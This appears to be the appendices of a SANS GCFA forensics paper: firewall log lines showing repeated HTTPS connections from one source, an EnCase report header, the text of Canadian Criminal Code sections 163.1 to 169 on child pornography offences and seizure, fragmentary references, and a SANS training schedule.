RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35104 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35105 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35106 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35107 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GNAT-Box" pri=6 msg="FILT ER: 155 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35108 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GNAT-Box" pri=6 msg="FILT ER: 156 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35109 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35110 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35111 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

EnCase Computer Analysis Report
Sans GCFA Cert Assignment/EnCase Computer Analysis Report
Appendix G


163.1 (1) In this section, "child pornography" means

(a) a photographic, film, video or other visual representation, whether or not it was made by electronic or mechanical means,

(i) that shows a person who is or is depicted as being under the age of eighteen years and is engaged in or is depicted as engaged in explicit sexual activity, or

(ii) the dominant characteristic of which is the depiction, for a sexual purpose, of a sexual organ or the anal region of a person under the age of eighteen years; or

(b) any written material or visual representation that advocates or counsels sexual activity with a person under the age of eighteen years that would be an offence under this Act.

(2) Every person who makes, prints, publishes or possesses for the purpose of publication any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

(3) Every person who transmits, makes available, distributes, sells, imports, exports or possesses for the purpose of transmission, making available, distribution, sale or exportation any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

(4) Every person who possesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) an offence punishable on summary conviction.

(4.1) Every person who accesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding
five years; or

(b) an offence punishable on summary conviction.

Interpretation

(4.2) For the purposes of subsection (4.1), a person accesses child pornography who knowingly causes child pornography to be viewed by, or transmitted to, himself or herself.

Defence

(5) It is not a defence to a charge under subsection (2) in respect of a visual representation that the accused believed that a person shown in the representation that is alleged to constitute child pornography was or was depicted as being eighteen years of age or more unless the accused took all reasonable steps to ascertain the age of that person and took all reasonable steps to ensure that, where the person was eighteen years of age or more, the representation did not depict that person as being under the age of eighteen years.

Defences

(6) Where the accused is charged with an offence under subsection (2), (3), (4) or (4.1), the court shall find the accused not guilty if the representation or written material that is alleged to constitute child pornography has artistic merit or an educational, scientific or medical purpose.

Other provisions to apply

(7) Subsections 163(3) to (5) apply, with such modifications as the circumstances require, with respect to an offence under subsection (2), (3), (4) or (4.1).

1993, c. 46, s. 2; 2002, c. 13, s. 5.

Warrant of seizure

164. (1) A judge who is satisfied by information on oath that there are reasonable grounds for believing that

(a) any publication, copies of which are kept for sale or distribution in premises within the jurisdiction of the court, is obscene or a crime comic, within the meaning of section 163, or

(b) any representation or written material, copies of which are kept in premises within the jurisdiction of the court, is child pornography within the meaning of section 163.1,

may issue a warrant authorizing seizure of the copies.

Summons to occupier

(2) Within seven days of the issue of a warrant under subsection (1), the judge shall issue a summons to the occupier of the premises requiring him to appear before the court and show cause why the matter seized should not be forfeited to Her Majesty.

Owner and maker may appear

(3) The owner and the maker of the matter seized under subsection (1), and alleged to be obscene, a crime comic or child pornography, may appear and be represented in the proceedings in order to oppose the making of an order for the forfeiture of the matter.

Order of forfeiture

(4) If the court is satisfied, on a balance of probabilities, that the publication, representation or written material referred to in subsection (1) is obscene, a crime comic or child pornography, it may make an order declaring the matter forfeited to Her Majesty in right of the province in which the proceedings take place, for disposal as the Attorney General may direct.
Disposal of matter

(5) If the court is not satisfied that the publication, representation or written material referred to in subsection (1) is obscene, a crime comic or child pornography, it shall order that the matter be restored to the person from whom it was seized forthwith after the time for final appeal has expired.

Appeal

(6) An appeal lies from an order made under subsection (4) or (5) by any person who appeared in the proceedings

(a) on any ground of appeal that involves a question of law alone,

(b) on any ground of appeal that involves a question of fact alone, or

(c) on any ground of appeal that involves a question of mixed law and fact, as if it were an appeal against conviction or against a judgment or verdict of acquittal, as the case may be, on a question of law alone under Part XXI and sections 673 to 696 apply with such modifications as the circumstances require.

Consent

(7) Where an order has been made under this section by a judge in a province with respect to one or more copies of a publication, representation or written material, no proceedings shall be instituted or continued in that province under section 163 or 163.1 with respect to those or other copies of the same publication, representation or written material without the consent of the Attorney General.

Punishment

169. Every one who commits an offence under section 163, 165, 167 or 168 is guilty of

(a) an indictable offence and is liable to imprisonment for a term not exceeding two years; or

(b) an offence punishable on summary conviction.

R.S., 1985, c. C-46, s. 169; 1999, c. 5, s. 3.

Canada Criminal Code – Part V Sexual Offences, Public Morals and Disorderly Conduct, S.163.1 (1)-(4.2)
Appendix H

References


   25, 2003)


    Laboratory & RSA Data Security, Inc. (Nov 12, 2003)

12. OpenSSL servers contain a buffer overflow during the SSL2 handshake process”,

13. Hunt, James “Boot Linux faster – Parallelize Linux system services to improve boot speed”, September 17,
## Upcoming SANS Forensics Training

<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS Geneva October 2020</td>
<td>Switzerland</td>
<td>Oct 26, 2020 - Oct 31, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Cologne October 2020</td>
<td>Germany</td>
<td>Oct 26, 2020 - Oct 31, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS London November 2020</td>
<td>United Kingdom</td>
<td>Nov 02, 2020 - Nov 07, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Sydney 2020 - Live Online</td>
<td>Sydney, Australia</td>
<td>Nov 02, 2020 - Nov 14, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>South by Southeast Asia Nov 2020</td>
<td>Singapore</td>
<td>Nov 02, 2020 - Nov 14, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Paris November 2020</td>
<td>France</td>
<td>Nov 02, 2020 - Nov 07, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Sydney 2020</td>
<td>Sydney, Australia</td>
<td>Nov 02, 2020 - Nov 14, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS DFIRCON 2020</td>
<td>Miami, FL</td>
<td>Nov 02, 2020 - Nov 07, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Gulf Region 2020</td>
<td>Dubai, United Arab Emirates</td>
<td>Nov 07, 2020 - Nov 26, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>APAC ICS Summit &amp; Training 2020 - Live Online</td>
<td>Singapore, Singapore</td>
<td>Nov 13, 2020 - Nov 28, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS FOR508 Rome 2020 (in Italian)</td>
<td>Rome, Italy</td>
<td>Nov 16, 2020 - Nov 21, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Atlanta Fall 2020</td>
<td>Atlanta, GA</td>
<td>Nov 16, 2020 - Nov 21, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS San Diego Fall 2020</td>
<td>San Diego, CA</td>
<td>Nov 16, 2020 - Nov 21, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Amsterdam November 2020</td>
<td>Netherlands</td>
<td>Nov 16, 2020 - Nov 21, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS FOR508 (In Spanish) Online 2020</td>
<td>United Arab Emirates</td>
<td>Nov 23, 2020 - Dec 04, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>SANS San Francisco Winter 2020</td>
<td>San Francisco, CA</td>
<td>Nov 30, 2020 - Dec 05, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Tokyo December Live Online 2020</td>
<td>Japan</td>
<td>Nov 30, 2020 - Dec 11, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Austin Fall 2020</td>
<td>Austin, TX</td>
<td>Nov 30, 2020 - Dec 05, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Wellington 2020 - Live Online</td>
<td>Wellington, New Zealand</td>
<td>Nov 30, 2020 - Dec 12, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Frankfurt November 2020</td>
<td>Germany</td>
<td>Nov 30, 2020 - Dec 05, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS London December 2020</td>
<td>United Kingdom</td>
<td>Dec 07, 2020 - Dec 12, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Paris December 2020</td>
<td>France</td>
<td>Dec 07, 2020 - Dec 12, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Nashville 2020</td>
<td>Nashville, TN</td>
<td>Dec 07, 2020 - Dec 12, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Cyber Defense Initiative 2020</td>
<td>Washington, DC</td>
<td>Dec 14, 2020 - Dec 19, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Security East 2021</td>
<td>New Orleans, LA</td>
<td>Jan 11, 2021 - Jan 16, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Threat Hunting Europe 2021</td>
<td>United Kingdom</td>
<td>Jan 11, 2021 - Jan 16, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Cyber Security Central: Jan 2021</td>
<td></td>
<td>Jan 18, 2021 - Jan 23, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Tokyo January 2021</td>
<td>Tokyo, Japan</td>
<td>Jan 18, 2021 - Jan 23, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Security Fundamentals 2021</td>
<td>Netherlands</td>
<td>Jan 18, 2021 - Jan 29, 2021</td>
<td>CyberCon</td>
</tr>
</tbody>
</table>